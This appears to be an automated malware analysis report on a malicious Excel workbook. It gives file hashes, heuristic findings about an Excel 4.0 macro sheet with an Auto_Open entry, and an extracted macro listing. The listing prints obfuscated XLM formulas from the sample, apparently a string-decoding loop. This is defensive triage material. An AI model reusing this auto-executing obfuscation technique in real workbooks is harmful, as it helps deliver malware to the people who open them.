Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 4bf83cd97729c9a1…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:43:10 Authoring application: Microsoft Excel First seen: 2021-02-18
MD5: f2301d385959f83bebb51542d89b733f SHA-1: 31fc091c4239331a1aebeb49b1094f857e51bfdd SHA-256: 4bf83cd97729c9a1f418d32b5204f7a89b9cb747ea18bcf34191f6fda9e8bae7
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6693 bytes
SHA-256: 4688bb25cc42d7c1e01ffd288dbbb5697fad81c842e418ab1567acad266c78a9
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     15 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  wKOfto
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!D170 
' 0018     27 LABEL : Cell Value, String Constant - bKDpVtfFMrlg len=0 
' 0018     22 LABEL : Cell Value, String Constant - CYlIzWO len=0 
' 0018     22 LABEL : Cell Value, String Constant - dMXhXIb len=0 
' 0018     26 LABEL : Cell Value, String Constant - dONuVyjqeky len=0 
' 0018     23 LABEL : Cell Value, String Constant - EyESdNRR len=0 
' 0018     20 LABEL : Cell Value, String Constant - FqCGn len=0 
' 0018     27 LABEL : Cell Value, String Constant - GfDKdWronQAj len=0 
' 0018     24 LABEL : Cell Value, String Constant - GOQDcHaXv len=0 
' 0018     23 LABEL : Cell Value, String Constant - gQIjRSsh len=0 
' 0018     23 LABEL : Cell Value, String Constant - iCkYcbCx len=0 
' 0018     26 LABEL : Cell Value, String Constant - idxgMubVitB len=0 
' 0018     25 LABEL : Cell Value, String Constant - KIZLUXZkTI len=0 
' 0018     22 LABEL : Cell Value, String Constant - MQqRjcX len=0 
' 0018     26 LABEL : Cell Value, String Constant - TMRdEndmrwm len=0 
' 0018     27 LABEL : Cell Value, String Constant - tUGrBmdzUxlv len=0 
' 0018     23 LABEL : Cell Value, String Constant - usURTiPZ len=0 
' 0018     23 LABEL : Cell Value, String Constant - vBeEVVMf len=0 
' 0018     22 LABEL : Cell Value, String Constant - vTdoZom len=0 
' 0018     24 LABEL : Cell Value, String Constant - yhIFOicSf len=0 
' 0018     22 LABEL : Cell Value, String Constant - zHFaJco len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  wKOfto,Q76,"",-179.00000000000000000000
'  wKOfto,Q77,"",504.00000000000000000000
'  wKOfto,Q78,"",-332.00000000000000000000
'  wKOfto,Q79,"",496.00000000000000000000
'  wKOfto,Q80,"",-823.00000000000000000000
'  wKOfto,D81,"SET.NAME("MQqRjcX",0+VALUE("0"))",""
'  wKOfto,Q81,"",-620.00000000000000000000
'  wKOfto,D84,"SET.NAME("vBeEVVMf",MQqRjcX)",""
'  wKOfto,D87,"SET.NAME("TMRdEndmrwm",MQqRjcX)",""
'  wKOfto,D89,"SET.NAME("tUGrBmdzUxlv",COUNTA(idxgMubVitB))",""
'  wKOfto,D91,"SET.NAME("FqCGn",COUNTA(EyESdNRR))",""
'  wKOfto,D96,[],""
'  wKOfto,D99,"SET.NAME("GfDKdWronQAj","")",""
'  wKOfto,D102,"vBeEVVMf",""
'  wKOfto,D106,"SET.NAME("dMXhXIb",HLOOKUP("*",idxgMubVitB,vBeEVVMf,FALSE))",""
'  wKOfto,D111,"vTdoZom",""
'  wKOfto,D115,"SET.NAME("KIZLUXZkTI",MQqRjcX)",""
'  wKOfto,D120,[],""
'  wKOfto,D124,"KIZLUXZkTI",""
'  wKOfto,D129,"bKDpVtfFMrlg",""
'  wKOfto,D133,"CYlIzWO",""
'  wKOfto,D136,"zHFaJco",""
'  wKOfto,D141,"SET.NAME("dONuVyjqeky",VALUE(HLOOKUP("*",EyESdNRR,zHFaJco,FALSE)))",""
'  wKOfto,D145,"gQIjRSsh",""
'  wKOfto,D148,"GfDKdWronQAj",""
'  wKOfto,D150,"TMRdEndmrwm",""
'  wKOfto,D153,NEXT(),""
'  wKOfto,D155,"iCkYcbCx",""
'  wKOfto,D159,[],""
'  wKOfto,D162,"GOQDcHaXv",""
'  wKOfto,D164,NEXT(),""
'  wKOfto,D167,RETURN(),""
'  wKOfto,D194,"SET.NAME("yhIFOicSf",D81)",""
'  wKOfto,D196,"idxgMubVitB",""
'  wKOfto,D200,"SET.NAME("EyESdNRR",R77C12)",""
'  wKOfto,D202,"SET.NAME("GOQDcHaXv",211)",""
'  wKOfto,D205,"SET.NAME("usURTiPZ",4)",""
'  wKOfto,D210,yhIFOicSf(),""
'  wKOfto,D211,HALT(),""